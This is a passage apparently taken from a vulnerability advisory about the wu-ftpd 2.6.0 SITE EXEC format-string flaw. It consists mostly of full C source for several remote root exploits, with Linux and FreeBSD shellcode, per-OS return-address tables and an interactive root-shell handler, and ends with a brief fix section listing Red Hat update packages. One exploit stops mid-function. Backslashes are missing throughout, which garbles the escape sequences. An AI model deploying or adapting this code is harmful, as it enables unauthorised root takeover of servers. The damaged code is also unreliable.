sleep(DELAY); receive(); fputs(torecv,stdout); sprintf(tosend,\"PASS %sn\",password); printf(\"33[32mPASS <shellcode>33[37mn\"); write(sock,tosend,strlen(tosend)); sleep(DELAY); receive(); fputs(torecv,stdout); } void site_exec(char *string) { char buf[1034]; bzero(buf,sizeof(buf)); snprintf(buf,sizeof(buf),\"site exec %sn\",string); write(sock,buf,strlen(buf)); } char *scan_ptrretaddr(int penum,int offset) { int a; char *buf; char *ptr, *retvalue; printf(\"Scanning remote server\'s stack:n\"); bzero(tosend,sizeof(tosend)); for (a = 0,buf = tosend; a < penum; a++,buf+= 2) { sprintf(buf,\"%s\",\"%p:%d\"); } site_exec(tosend); sleep(DELAY); receive(); buf = strstr(torecv,\":\")+1; ptr =(char*)atoi(buf); printf(\"33[32mScanned PTRPTRRETADDR is 33[31m0x%xn33[37m\",ptr); retvalue = ptr - offset*4; printf(\"33[32mCalculated PTRRETADDR is 33[31m0x%xn33[37m\",retvalue); return retvalue; } char *scan_retaddr(int penum) { int a; char *buf; char *ptr, *retvalue; printf(\"Detecting return address:n\"); bzero(tosend,sizeof(tosend)); for (a = 0,buf = tosend; a < penum; a++,buf+= 2) { sprintf(buf,\"%s\",\"%p:%d\"); } site_exec(tosend);sleep(DELAY);receive(); buf = strstr(torecv,\":\")+1; ptr =(char*)atoi(buf); printf(\"33[32mScanned TEMPADDR is 33[31m0x%xn33[37m\",ptr); for (a = 0,buf = tosend; a < penum; a++,buf+= 2) { sprintf(buf,\"%s\",\"%p:%s\"); } site_exec(tosend);sleep(DELAY);receive(); retvalue = ptr; buf = strstr(torecv,\":\")+1; ptr = strstr(torecv,\"/\")+1; retvalue += ptr - buf; printf(\"33[32mCalculated RETADDR is 33[31m0x%xn33[37m\",retvalue); return retvalue; } void store_value(int penum,int value,int type) { int a; int offset; char *buf; char *ptr1, *ptr2; printf(\"Storing value 0x%xn\",value); bzero(tosend,sizeof(tosend)); buf = tosend; sprintf(buf,\"%%.10d\"); /* WARNING 10 is a MAGIC NUM! */ for (a = 0,buf = tosend + strlen(tosend); a < penum - 1; a++,buf+= 2) { sprintf(buf,\"%s\",\"%p:\"); } site_exec(tosend); sleep(DELAY); receive(); ptr1 = strstr(torecv,\"-\")+1; ptr2 = strstr(torecv,\":\"); offset = ptr2 - ptr1; printf(\"offset is 0x%xn\",offset); bzero(tosend,sizeof(tosend)); buf = tosend; sprintf(buf,\"%%.%dx64\",value - offset + 10); /* WARNING 10 is a MAGIC NUM! */ for (a = 0,buf = tosend + strlen(tosend); a < penum - 1; a++,buf+= 2) { if(type == 1) sprintf(buf,\"%s\",\"%p%hn\"); if(type == 2) sprintf(buf,\"%s\",\"%p%n\"); } site_exec(tosend); } void usage(char *arg) { int i; printf(\"Usage: %s <hostname> <systype> [port]n\",arg); printf(\" known systypes: n\"); for(i=0;i < sysnumber;i++) printf(\" %2d - %sn\",i,target[i].sysname); exit(-1); } The following is for the mass amounts of people out there who were not able to hit the correct retr_addr with the previously disseminated exploits. The previous problems were caused by the other exploits not specifying the correct pointer to the shell code, ultimately leaving you with a telnet session to PORT 21 of the vulnerable machine. While working with some people over at MIT, it was discovered that some machines were hit, while others with the same configuration weren\'t. This is yet to be understood. Following as you will notice is TF8\'s original distribution, slightly modified. Notice the new AddrRetAddr field. If s0 doesn\'t work, it is reccomended trying the other OS distributions in the list. #include <stdio.h> #include <string.h> #include <stdlib.h> #include <sys/types.h> #include <sys/socket.h> #include <sys/time.h> #include <netdb.h> #include <unistd.h> #include <netinet/in.h> #include <arpa/inet.h> #include <signal.h> #include <errno.h> #ifdef __linux #include <getopt.h> #endif #define MAKE_STR_FROM_RET(x) ((x)&0xff),(((x)&0xff00)>>8),(((x)&0xff0000)>>16),(((x)&0xff000000)>>24) #define GREEN \"33[32m\" #define RED \"33[31m\" #define NORM \"33[0m\" char infin_loop[]= /* for testing purposes */ \"xEBxFE\"; char bsdcode[] = /* Lam3rZ chroot() code rewritten for FreeBSD by venglin */ \"x31xc0x50x50x50xb0x7excdx80x31xdbx31xc0x43\" \"x43x53x4bx53x53xb0x5axcdx80xebx77x5ex31xc0\" \"x8dx5ex01x88x46x04x66x68xffxffx01x53x53xb0\" \"x88xcdx80x31xc0x8dx5ex01x53x53xb0x3dxcdx80\" \"x31xc0x31xdbx8dx5ex08x89x43x02x31xc9xfexc9\" \"x31xc0x8dx5ex08x53x53xb0x0cxcdx80xfexc9x75\" \"xf1x31xc0x88x46x09x8dx5ex08x53x53xb0x3dxcd\" \"x80xfex0exb0x30xfexc8x88x46x04x31xc0x88x46\" \"x07x89x76x08x89x46x0cx89xf3x8dx4ex08x8dx56\" \"x0cx52x51x53x53xb0x3bxcdx80x31xc0x31xdbx53\" \"x53xb0x01xcdx80xe8x84xffxffxffxffxffxffx30\" \"x62x69x6ex30x73x68x31x2ex2ex31x31x76x65x6e\" \"x67x6cx69x6e\"; char bsd_code_d[]= /* you should call it directly (no jump/call)*/ \"xEBxFExEBx02xEBx05xE8xF9xFFxFFxFFx5C\" \"x8Bx74x24xFCx31xC9xB1x15x01xCExB1x71xB0xEF\" \"x30x06x8Dx76x01xE2xF9xDEx26xDEx2FxBEx5FxF8\" \"xBFx22x6Fx5FxB5xEBxB4xBExBFx22x6Fx62xB9x14\" \"x87x75xEDxEFxEFxBDx5Fx67xBFx22x6Fx62xB9x11\" \"xBExBDx5FxEAxBFx22x6Fx66x2Cx62xB9x14xBDx5F\" \"xD2xBFx22x6FxBCx5FxE2xBFx22x6Fx5Cx11x62xB9\" \"x12x5FxE3xBDxBFx22x6Fx11x24x9Ax1Cx62xB9x11\" \"xBDx5FxD2xBFx22x6Fx62x99x12x66xA1xEBx62xB9\" \"x17x66xF9xB9xB9xBDx5FxD4xBFx22x6FxC0x8Dx86\" \"x81xC0x9Cx87xEFxC1xC1xEF\"; char linuxcode[]= /* Lam3rZ chroot() code */ \"x31xc0x31xdbx31xc9xb0x46xcdx80x31xc0x31xdb\" \"x43x89xd9x41xb0x3fxcdx80xebx6bx5ex31xc0x31\" \"xc9x8dx5ex01x88x46x04x66xb9xffxffx01xb0x27\" \"xcdx80x31xc0x8dx5ex01xb0x3dxcdx80x31xc0x31\" \"xdbx8dx5ex08x89x43x02x31xc9xfexc9x31xc0x8d\" \"x5ex08xb0x0cxcdx80xfexc9x75xf3x31xc0x88x46\" \"x09x8dx5ex08xb0x3dxcdx80xfex0exb0x30xfexc8\" \"x88x46x04x31xc0x88x46x07x89x76x08x89x46x0c\" \"x89xf3x8dx4ex08x8dx56x0cxb0x0bxcdx80x31xc0\" \"x31xdbxb0x01xcdx80xe8x90xffxffxffxffxffxff\" \"x30x62x69x6ex30x73x68x31x2ex2ex31x31\"; #define MAX_FAILED 4 #define MAX_MAGIC 100 static int magic[MAX_MAGIC],magic_d[MAX_MAGIC]; static char *magic_str=NULL; int before_len=0; char *target=NULL,*username=\"ftp\",*password=NULL; struct targets getit; struct targets { int def; char *os_descr, *shellcode; int delay; u_long pass_addr, addr_ret_addr; int magic[MAX_MAGIC], magic_d[MAX_MAGIC],islinux; }; struct targets targ[]={ {0,\"RedHat 6.2 (?) with wuftpd 2.6.0(1) from rpm\",linuxcode,2,0x8075b00-700,0xbfffb028,{0x87,3,1,2},{1,2,1,4},1}, {0,\"RedHat 6.2 (Zoot) with wuftpd 2.6.0(1) from rpm\",linuxcode,2,0x8075b00-700,0xbfffb038,{0x87,3,1,2},{1,2,1,4},1}, {0,\"SuSe 6.3 with wuftpd 2.6.0(1) from rpm\",linuxcode,2,0x8076cb0-400,0xbfffb018,{0x87,3,1,2},{1,2,1,4},1}, {0,\"SuSe 6.4 with wuftpd 2.6.0(1) from rpm\",linuxcode,2,0x8076920-400,0xbfffafec,{0x88,3,1,2},{1,2,1,4},1}, {0,\"RedHat 6.2 (Zoot) with wuftpd 2.6.0(1) from rpm (test)\",linuxcode,2,0x8075b00-700,0xbfffb070,{0x87,3,1,2},{1,2,1,4},1}, {0,\"FreeBSD 3.4-STABLE with wuftpd 2.6.0(1) from ports\",bsdcode,10,0x80bb474-100, 0xbfbfc164,{0x3b,2,4,1,0x44,2,1,2},{1,2,1,2,1,2,1,4},0}, {1,\"FreeBSD 3.4-STABLE with wuftpd 2.6.0(1) from packages\",bsdcode,2,0x806d5b0-500,0xbfbfc6bc, {0x84,1,2,1,2}, {1,3,2,1,4},0}, {0,\"FreeBSD 3.4-RELEASE with wuftpd 2.6.0(1) from ports\",bsdcode,2,0x80a4dec-400,0xbfbfc624, {0x3B,2,1,0xe,0x40,1,2,1,2},{1,2,1,2,1,3,2,1,4},0}, {0,\"FreeBSD 4.0-RELEASE with wuftpd 2.6.0(1) from packages\",infin_loop,2,0x80706f0,0xbfbfe798,{0x88,2,1,2},{1,2,1,4},0}, {0,NULL,NULL,0,0,0,{0},{0},0} }; void usage(char*zu,int q){ int i, n, padding; fprintf(stderr,\"Usage: %s -t <target> [-l user/pass] [-s systype] [-o offset] [-g] [-h] [-x]n\" \" [-m magic_str] [-r ret_addr] [-P padding] [-p pass_addr] [-M dir]n\" \"target : host with any wuftpdnuser : anonymous usern\" \"dir : if not anonymous user, you need to have writable directoryn\" \"magic_str : magic string (see exploit description)n-g : enables magic string diggingn\" \"-x : enables test modenpass_addr : pointer to setproctitle argumentn\" \"ret_addr : this is pointer to shellcodensystypes: n\",zu); for(i=0;targ[i].os_descr!=NULL;i++){ padding=0; fprintf(stderr,\"%s%2d - %sn\",targ[i].def?\"*\":\" \",i,targ[i].os_descr); if(q>1){ fprintf(stderr,\" Magic ID: [\"); for(n=0;targ[i].magic[n]!=0;n++){ if(targ[i].magic_d[n]==4) padding=targ[i].magic[n]; fprintf(stderr,\"%02X,%02X\",targ[i].magic[n],targ[i].magic_d[n]); if(targ[i].magic[n+1]!=0) fprintf(stderr,\":\"); } fprintf(stderr,\"] Padding: %dn\",padding); fflush(stderr); } } exit(1); } int connect_to_server(char*host){ struct hostent *hp; struct sockaddr_in cl; int sock; if(host==NULL||*host==(char)0){ fprintf(stderr,\"Invalid hostnamen\"); exit(1); } if((cl.sin_addr.s_addr=inet_addr(host))==-1) { if((hp=gethostbyname(host))==NULL) { fprintf(stderr,\"Cannot resolve %sn\",host); exit(1); } memcpy((char*)&cl.sin_addr,(char*)hp->h_addr,sizeof(cl.sin_addr)); } if((sock=socket(PF_INET,SOCK_STREAM,IPPROTO_TCP))==-1){ fprintf(stderr,\"Error creating socket: %sn\",strerror(errno)); exit(1); } cl.sin_family=PF_INET; cl.sin_port=htons(21); if(connect(sock,(struct sockaddr*)&cl,sizeof(cl))==-1){ fprintf(stderr,\"Cannot connect to %s: %sn\",host,strerror(errno)); exit(1); } return sock; } int ftp_recv(int sock,char*buf,int buf_size,int disc){ int n=0; char q; if(disc) while((n=recv(sock,&q,1,0))==1&&q!=\'n\'); else { (void)bzero(buf,buf_size); n=recv(sock,buf,buf_size,0); if(n<0){ fprintf(stderr,\"ftp_recv: recv failedn\"); exit(1); } buf[n]=0; } return n; } int ftp_send(int sock,char*what,int size,int f,char*ans,int ans_size){ int n; n=send(sock,what,size,0); if(n!=size){ fprintf(stderr,\"ftp_send: failed to send. expected %d, sent %dn\", size,n); shutdown(sock,2); close(sock); exit(1); } if(f) return ftp_recv(sock,ans,ans_size,0); return 0; } int ftp_siteexec(int sock,char*buff,int buff_len,int q,char*ans,int ans_len){ ftp_send(sock,buff,buff_len,q,ans,ans_len); if(strncmp(ans,\"200-\",4)==0) ftp_recv(sock,NULL,0,1); else ftp_recv(sock,ans,ans_len,0); if(strncmp(ans,\"200-\",4)){ fprintf(stderr,\"Cannot find site exec response stringn\"); exit(1); } return 0; } void ftp_login(int sock,char*u_name,char*u_pass) { char buff[2048]; printf(\"loggin into system..n\"); snprintf(buff,2047,\"USER %srn\", u_name); ftp_send(sock, buff,strlen(buff),1,buff,2047); printf(GREEN\"USER %sn\"NORM\"%s\",u_name,buff); snprintf(buff,2047,\"PASS %srn\",u_pass); printf(GREEN\"PASS %sn\"NORM,*u_pass==\'x90\'?\"<shellcode>\":u_pass); ftp_send(sock,buff,strlen(buff),1,buff,2047); while(strstr(buff,\"230 \")==NULL){ (void)bzero(buff,2048); ftp_recv(sock,buff,2048,0); } printf(\"%s\",buff); return; } void ftp_mkchdir(int sock,char*cd,char*new) { char buff[2048]; sprintf(buff,\"CWD %srn\",cd); printf(GREEN\"%s\"NORM,buff); ftp_send(sock,buff,strlen(buff),1,buff,2047); printf(\"%s\",buff); sprintf(buff,\"MKD %srn\",new); ftp_send(sock,buff,strlen(buff),1,buff,2047); printf(GREEN\"MKD <shellcode>\"NORM\"n%s\",buff); sprintf(buff,\"CWD %srn\",new); ftp_send(sock,buff,strlen(buff),1,buff,2047); printf(GREEN\"CWD <shellcode>\"NORM\"n%s\",buff); return; } void process_possibly_rooted(int sock) { fd_set fd_read; char buff[1024], *cmd=getit.islinux?\"/bin/uname -a;/usr/bin/id;n\":\"/usr/bin/uname -a;/usr/bin/id;n\"; int n; FD_ZERO(&fd_read); FD_SET(sock, &fd_read); FD_SET(0, &fd_read); send(sock, cmd, strlen(cmd), 0); while(1) { FD_SET(sock,&fd_read); FD_SET(0,&fd_read); if(select(sock+1,&fd_read,NULL,NULL,NULL)<0) break; if( FD_ISSET(sock, &fd_read) ) { if((n=recv(sock,buff,sizeof(buff),0))<0){ fprintf(stderr, \"EOFn\"); exit(2); } if(write(1,buff,n)<0)break; } if ( FD_ISSET(0, &fd_read) ) { if((n=read(0,buff,sizeof(buff)))<0){ fprintf(stderr,\"EOFn\"); exit(2); } if(send(sock,buff,n,0)<0) break; } usleep(10); } fprintf(stderr,\"Connection aborted, select failed()n\"); exit(0); } int magic_check_f(int sock, char *str) { char q[2048], ans[2048]; snprintf(q, 2048, \"site exec %s%srn\", str, \"%.f\"); if( strstr( q, \"rn\") == NULL) { fprintf(stderr,\"Line TOO big..n\"); exit(-1); } ftp_siteexec(sock, q, strlen(q), 1, ans, 2048); if( before_len+10 < strlen(&ans[3]) ) return 0; before_len=strlen(&ans[3]); (void)strcat(str,\"%.f\"); return 1; } int magic_check_o(int sock, char *str) { char q[2048], ans[2048]; snprintf(q, 2048, \"site exec %s%srn\", str, \"%c\"); if( strstr( q, \"rn\") == NULL) { fprintf(stderr,\"Line TOO big..n\"); exit(-1); } ftp_siteexec( sock, q, strlen(q), 1, ans, 2048); if( before_len== strlen(&ans[3]) ) { before_len+=1; (void)strcat(str, \"%d\"); return 3; } before_len=strlen(&ans[3]); (void)strcat(str,\"%c\"); return 2; } int magic_check_ok( int sock, char *str) { char q[2048], ans[2048]; int i ,n=1, f, padding=0; snprintf(q, 2048,\"site exec aaaaaaaa%s%srn\", str, \"%p%p\"); if ( strstr(q, \"rn\" ) == NULL) { fprintf(stderr, \"Line too longn\"); exit(-1); } (void)bzero(ans, 2048); ftp_siteexec(sock, q, strlen(q), 1, ans, 2047); if(strstr(ans,\"0x61616161\")==NULL) return 0; for(i =0; i < MAX_MAGIC && magic[i]; i++); magic_d[i]=4; while(n){ for(f=0; f< 2; f++) { snprintf(q, 2048,\"site exec %.*saaaa%s%srn\", padding, \"xxxx\", str, f?\"%p%p\":\"%p\"); (void)bzero(ans, 2048); ftp_siteexec(sock, q, strlen(q), 1, ans, 2047); if( strstr(ans, \"0x61616161\")!=NULL) { if (f==0) { magic[i]=padding; return 1; } else if( f==1) { strcat(str,\"%p\"); magic[i]=padding; return 1; } } } if(padding > 4) { fprintf(stderr,\"Cannot calculate padding..n\"); exit(1); } padding++; } return 1; } int magic_digger(int sock) { int get_out=1,where=0,all_failed=MAX_FAILED*2,f=0,o=0; if(magic_str==NULL){ if((magic_str=(char*)malloc(4092))==NULL){ perror(\"malloc\"); exit(errno); } } (void)bzero(magic_str, 4092); where=0; while(get_out) { int q; if( where >= MAX_MAGIC-1 || all_failed <= 0 ) return -1; if( magic_check_f(sock, magic_str) ) { o=0,f++; if(f==1){ if(!magic[where]) magic[where]=1; else magic[++where]+=1; magic_d[where]=1; } else magic[where]+=1; all_failed=MAX_FAILED*2; printf(\"%s\", \"%.f\"); fflush(stdout); goto verify; } all_failed--; if((q=magic_check_o(sock,magic_str))){ f=0,o++; if(o==1){ if(!magic[where]) magic[0]=1; else magic[++where]+=1; magic_d[where]=q; } else { if(magic_d[where]==q) magic[where]+=1; else { magic[++where]=1; magic_d[where]=q; } } all_failed=MAX_FAILED*2; printf(\"%s\", q==2?\"%c\":\"%d\"); fflush(stdout); goto verify; } all_failed--; continue; verify: if(magic_check_ok(sock,magic_str)){ putchar(\'n\'); return 0; } } return 0; } int main(int argc, char *argv[]){ char *buff, *buff_p, *buff_p2, c, shellcode[500],*dir,*passwd=shellcode; int i, sock, num=-2, padding=-1, gm=0, testmode=0,mtype=0,bla=0,offset=0; u_long ret_addr=0, pass_addr=0; for(i=0;targ[i].os_descr!=NULL;i++); while((c=getopt(argc,argv,\"t:l:m:o:s:r:p:M:P:xghH?\"))!=EOF){ switch(c) { case \'t\': target=optarg;break; case \'l\': username=optarg; passwd=strchr(optarg,\'/\'); if(passwd==NULL) usage(argv[0],0); *passwd++=(char)0; break; case \'x\': testmode=1; break; case \'o\': offset=atoi(optarg);break; case \'p\': pass_addr=strtoul(optarg, &optarg,16); break; case \'g\': gm=1; break; case \'M\': dir=optarg;mtype=1;break; case \'m\': { int where=0; if(!*optarg) { fprintf(stderr,\"-m requires argument, try -h for helpn\"); exit(1); } while(1) { magic[where]=strtoul(optarg,&optarg,16); optarg=strchr(optarg,\',\'); if(optarg==NULL){ printf(\"comma missingn\"); exit(1); } optarg++; magic_d[where++]=strtoul(optarg,&optarg,16); if(strchr(optarg,\':\')==NULL){ magic[where]=magic_d[where]=0; break; } optarg=strchr(optarg,\':\'); optarg++; } } break; case \'s\': num=atoi(optarg); if(num>i) { fprintf(stderr,\"systype too big, try -h for helpn\"); exit(1); } break; case \'r\': ret_addr=strtoul(optarg,&optarg,16); break; case \'P\': padding=atoi(optarg); break; case \'H\': bla=2; default: usage(argv[0],bla);break; } } if(target==NULL){ fprintf(stderr,\"No target specified, try -h for helpn\"); exit(1); } if(num==-1||num==-2) { for(i=0;!targ[i].def;i++); num=i; } (void)memcpy((void*)&getit,(void*)&targ[num],sizeof(struct targets)); if(magic[1]!=0) { memcpy((void*)getit.magic,magic,sizeof(magic)); memcpy((void*)getit.magic_d,magic_d,sizeof(magic)); } if(ret_addr)getit.addr_ret_addr=ret_addr; if(pass_addr)getit.pass_addr=pass_addr; getit.addr_ret_addr+=(offset*4); sock=connect_to_server(target); memset(shellcode, \'x90\', sizeof(shellcode)); shellcode[sizeof(shellcode)-1]=(char)0; if(!mtype){ memcpy((void*)&shellcode[sizeof(shellcode)-strlen(getit.shellcode)-1],(void*)getit.shellcode, strlen(getit.shellcode)+1); shellcode[sizeof(shellcode)-1]=(char)0; }else{ memcpy((void*)&shellcode[250-strlen(getit.shellcode)-1],(void*)getit.shellcode,strlen(getit.shellcode)); shellcode[250-1]=(char)0; } printf(\"Target: %s (%s/%s): %sn\",target,username,*passwd==\'x90\'?\"<shellcode>\":passwd,getit.os_descr); printf(\"Return Address: 0x%08lx, AddrRetAddr: 0x%08lx, Shellcode: %dnn\",getit.pass_addr,getit.addr_ret_addr,strlen(getit.shellcode)); buff=(char *)malloc(1024); bzero(buff,1024); (void)ftp_recv(sock,NULL,0,1); (void)ftp_login(sock,username,passwd); if(gm||(magic_str==NULL&&getit.magic[0]==0)){ printf(\"STEP 2A: Generating magic string: \"); fflush(stdout); magic_digger(sock); memcpy((void *)getit.magic,(void*)magic,sizeof(magic)); memcpy((void*)getit.magic_d,(void*)magic_d,sizeof(magic_d)); printf(\"STEP 2B: MAGIC STRING: [\"); } else { printf(\"STEP 2 : Skipping, magic number already exists: [\"); } for(i=0;i<MAX_MAGIC&&getit.magic[i]!=0;i++){ printf(\"%02X,%02X\",getit.magic[i],getit.magic_d[i]); if(getit.magic[i+1]!=0) putchar(\':\'); } printf(\"]n\"); buff=(char *)realloc(buff, 4092); (void)bzero(buff, 4092); if(mtype) ftp_mkchdir(sock,dir,shellcode); printf(\"STEP 3 : Checking if we can reach our return address by format stringn\"); if(!magic_str){ magic_str=(char*)malloc(2048); if(magic_str==NULL) { perror(\"malloc\"); exit(errno); } (void)bzero(magic_str,2048); for(i=0;i<MAX_MAGIC&&getit.magic[i]!=0;i++){ switch(getit.magic_d[i]) { case 1: for(num=0;num<getit.magic[i];num++)strcat(magic_str,\"%.f\"); break; case 2: for(num=0;num<getit.magic[i];num++)strcat(magic_str,\"%c\"); break; case 3: for(num=0;num<getit.magic[i];num++)strcat(magic_str,\"%d\"); break; case 4:if(padding<0)padding=getit.magic[i];break; default:fprintf(stderr,\"STEP 3: INternal errorn\"); exit(1); break; } } } if(padding<0){ for(num=0;num<MAX_MAGIC&&getit.magic_d[num]!=4;num++); if(num<(MAX_MAGIC-1)) padding=getit.magic[num]; else fprintf(stderr,\"WARNING: PROBLEMS WITH PADDINGn\"); } if(!getit.islinux){ if(!testmode) snprintf(buff,4096,\"site exec %.*s%c%c%c%c%s|%srn\",padding,\"xxxxxxxxxxxxxxxxxxx\",MAKE_STR_FROM_RET(getit.addr_ret_addr),magic_str,\"%p\"); else snprintf(buff,4096,\"site exec %.*s%c%c%c%c%s|%srn\",padding,\"xxxxxxxxxxxxxxxxxxx\",MAKE_STR_FROM_RET(getit.pass_addr),magic_str,\"%p\"); } else { if(!testmode) snprintf(buff,4096,\"site exec %.*s%c%cxff%c%c%s|%srn\",padding,\"xxxxxxxxxxxxxxxxxxx\",MAKE_STR_FROM_RET(getit.addr_ret_addr),magic_str,\"%p\"); else snprintf(buff,4096,\"site exec %.*s%c%cxff%c%c%s|%srn\",padding,\"xxxxxxxxxxxxxxxxxxx\",MAKE_STR_FROM_RET(getit.pass_addr),magic_str,\"%p\"); } sleep(getit.delay); fflush(stdout); if((buff_p=(char *)malloc(4096))==NULL){ fprintf(stderr,\"malloc failed.n\"); exit(1); } (void)bzero(buff_p,4096); ftp_siteexec(sock,buff,strlen(buff),1,buff_p,4095); if((buff_p2=strchr(buff_p,\'r\'))!=NULL) *buff_p2=(char)0; if((buff_p2=strchr(buff_p,\'n\'))!=NULL) *buff_p2=(char)0; buff_p2=strstr(buff_p,\"|0x\"); if(buff_p2==NULL){ fprintf(stderr,\"Fix me, incorrect response from \'%%p\':%sn\",buff_p); exit(1); } buff_p2+=3; if(!testmode) printf(\"STEP 4 : Ptr address test: 0x%s (if it is not 0x%08lx ^C me now)n\",buff_p2,getit.addr_ret_addr); else printf(\"STEP 4 : Ptr address test: 0x%s (if it is not 0x%08lx ^C me now)n\",buff_p2,getit.pass_addr); sleep(getit.delay); buff_p2=strstr(buff, \"%.f\"); *buff_p2++=(char )0; strcpy(buff_p, buff); if(!testmode) sprintf(buff_p+strlen(buff_p),\"%s%u%c\",\"%d%.\",(u_int)getit.pass_addr,\'d\'); else sprintf(buff_p+strlen(buff_p),\"%s\",\"%d%d\"); strcpy(buff_p+strlen(buff_p), buff_p2); buff_p2=strchr(buff_p,\'|\'); buff_p2++; printf(\"STEP 5 : Sending code.. this will take about 10 seconds.n\"); if(!testmode){ strcpy(buff_p2,\"%nrn\"); ftp_send(sock,buff_p,strlen(buff_p),0,NULL,0); } else { (void)bzero(buff,4096); strcpy(buff_p2,\"%srn\"); ftp_send(sock,buff_p,strlen(buff_p),1,buff,4092); printf(\"got answer: %sn\",buff); exit(0); } free(buff_p); free(buff); signal(SIGINT, SIG_IGN); signal(SIGHUP, SIG_IGN); printf(RED\"Press ^\\ to leave shell\"NORM\"n\"); process_possibly_rooted(sock); return 0; } Yet another code: /* * (c) 2000 venglin / b0f * http://b0f.freebsd.lublin.pl * * WUFTPD 2.6.0 REMOTE ROOT EXPLOIT (22/06/2000) * * Idea and preliminary version of exploit by tf8 * * Greetz: Lam3rZ, TESO, ADM, lcamtuf, karpio. * Dedicated to ksm. * * **PRIVATE**DO*NOT*DISTRIBUTE** */ #include <stdio.h> #include <stdlib.h> #include <stdarg.h> #include <string.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <netdb.h> #include <unistd.h> #include <arpa/inet.h> #define repln if (getreply(0) < 0) return -1 #define replv if (getreply(1) < 0) return -1 #ifdef DEBUG #define repl replv #else #define repl repln #endif char usage[] = \"usage: bobek [-l login] [-o port] [-t type] hostname\"; char recvbuf[BUFSIZ], sendbuf[BUFSIZ]; FILE *cin, *cout; char linuxcode[]= /* Lam3rZ chroot() code */ \"x31xc0x31xdbx31xc9xb0x46xcdx80x31xc0x31xdb\" \"x43x89xd9x41xb0x3fxcdx80xebx6bx5ex31xc0x31\" \"xc9x8dx5ex01x88x46x04x66xb9xffx01xb0x27xcd\" \"x80x31xc0x8dx5ex01xb0x3dxcdx80x31xc0x31xdb\" \"x8dx5ex08x89x43x02x31xc9xfexc9x31xc0x8dx5e\" \"x08xb0x0cxcdx80xfexc9x75xf3x31xc0x88x46x09\" \"x8dx5ex08xb0x3dxcdx80xfex0exb0x30xfexc8x88\" \"x46x04x31xc0x88x46x07x89x76x08x89x46x0cx89\" \"xf3x8dx4ex08x8dx56x0cxb0x0bxcdx80x31xc0x31\" \"xdbxb0x01xcdx80xe8x90xffxffxffx30x62x69x6e\" \"x30x73x68x31x2ex2ex31x31x76x65x6ex67x6cx69\" \"x6e\"; char bsdcode[] = /* Lam3rZ chroot() code rewritten for FreeBSD by venglin */ \"x31xc0x50x50x50xb0x7excdx80x31xdbx31xc0x43\" \"x43x53x4bx53x53xb0x5axcdx80xebx77x5ex31xc0\" \"x8dx5ex01x88x46x04x66x68xffx01x53x53xb0x88\" \"xcdx80x31xc0x8dx5ex01x53x53xb0x3dxcdx80x31\" \"xc0x31xdbx8dx5ex08x89x43x02x31xc9xfexc9x31\" \"xc0x8dx5ex08x53x53xb0x0cxcdx80xfexc9x75xf1\" \"x31xc0x88x46x09x8dx5ex08x53x53xb0x3dxcdx80\" \"xfex0exb0x30xfexc8x88x46x04x31xc0x88x46x07\" \"x89x76x08x89x46x0cx89xf3x8dx4ex08x8dx56x0c\" \"x52x51x53x53xb0x3bxcdx80x31xc0x31xdbx53x53\" \"xb0x01xcdx80xe8x84xffxffxffx30x62x69x6ex30\" \"x73x68x31x2ex2ex31x31x76x65x6ex67x6cx69x6e\"; struct platforms { char *os; char *version; char *code; int align; int eipoff; long ret; long retloc; int sleep; }; struct platforms targ[] = { { \"FreeBSD 3.4-STABLE\", \"2.6.0-ports\", bsdcode, 2, 1024, 0x80b1f10, 0xbfbfcc04, 0 }, { \"FreeBSD 5.0-CURRENT\", \"2.6.0-ports\", bsdcode, 2, 1024, 0x80b1510, 0xbfbfec0c, 0 }, { \"FreeBSD 3.4-STABLE\", \"2.6.0-packages\", bsdcode, 2, 1024, 0x80b1510, 0xbfbfe798, 0 }, { \"FreeBSD 3.4-STABLE\", \"2.6.0-venglin\", bsdcode, 2, 1024, 0x807078c, 0xbfbfcc04, 0 }, { \"RedHat Linux 6.2\", \"2.6.0-RPM\", linuxcode, 2, 1024, 0x80759e0, 0xbfffcf74, 0 }, { \"RedHat Linux 6.2\", \"2.6.0-RPM\", linuxcode, 2, 1024, 0x80759e0, 0xbfffd074, 0 }, { NULL, NULL, NULL, 0, NULL, NULL, 0 } }; long getip(name) char *name; { struct hostent *hp; long ip; extern int h_errno; if ((ip = inet_addr(name)) < 0) { if (!(hp = gethostbyname(name))) { fprintf(stderr, \"gethostbyname(): %sn\", strerror(h_errno)); exit(1); } memcpy(&ip, (hp->h_addr), 4); } return ip; } int connecttoftp(host, port) char *host; int port; { int sockfd; struct sockaddr_in cli; bzero(&cli, sizeof(cli)); cli.sin_family = AF_INET; cli.sin_addr.s_addr=getip(host); cli.sin_port = htons(port); if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) { perror(\"socket\"); return -1; } if(connect(sockfd, (struct sockaddr *)&cli, sizeof(cli)) < 0) { perror(\"connect\"); close(sockfd); return -1; } cin = fdopen(sockfd, \"r\"); cout = fdopen(sockfd, \"w\"); if (!cin || !cout) { close(sockfd); return -1; } return sockfd; } int command(const char *fmt, ...) { char buf1[BUFSIZ], buf2[BUFSIZ*2], *p, *q; va_list args; if (!cout) return -1; bzero(buf1, BUFSIZ); bzero(buf2, BUFSIZ*2); va_start(args, fmt); vsnprintf(buf1, BUFSIZ, fmt, args); va_end(args); for (p=buf1,q=buf2;*p;p++,q++) { if (*p == \'xff\') { *q++ = \'xff\'; *q = \'xff\'; } else *q = *p; } fprintf(cout, \"%s\", buf2); #ifdef DEBUG fprintf(stderr, \"--> \"); fprintf(stderr, \"%s\", buf2); fputc(\'n\', stderr); #endif fputs(\"rn\", cout); (void)fflush(cout); return 0; SOLUTION 2.6.1 has no this bug. For RedHat: Red Hat Linux 5.2: i386: ftp://updates.redhat.com/5.2/i386/wu-ftpd-2.6.0-2.5.x.i386.rpm alpha: ftp://updates.redhat.com/5.2/alpha/wu-ftpd-2.6.0-2.5.x.alpha.rpm sparc: ftp://updates.redhat.com/5.2/sparc/wu-ftpd-2.6.0-2.5.x.sparc.rpm sources: ftp://updates.redhat.com/5.2/SRPMS/wu-ftpd-2.6.0-2.5.x.src.rpm Red Hat Linux 6.2: i386: ftp://updates.redhat.com/6.2/i386/wu-ftpd-2.6.0-14.6x.i386.rpm alpha: ftp://updates.redhat.com/6.2/alpha/wu-ftpd-2.6.0-14.6x.alpha.rpm sparc: ftp://updates.redhat.com/6.2/sparc/wu-ftpd-2.6.0-14.6x.sparc.rpm sources: ftp://updates.redhat.com/6.2/SRPMS/wu-ftpd-2.6.0-14.6x.src.rpm You are supposed to use the latest fixes for your major release number. So if you run 6.0 or 6.1 you must use the 6.2 fixes. So there IS a fix for 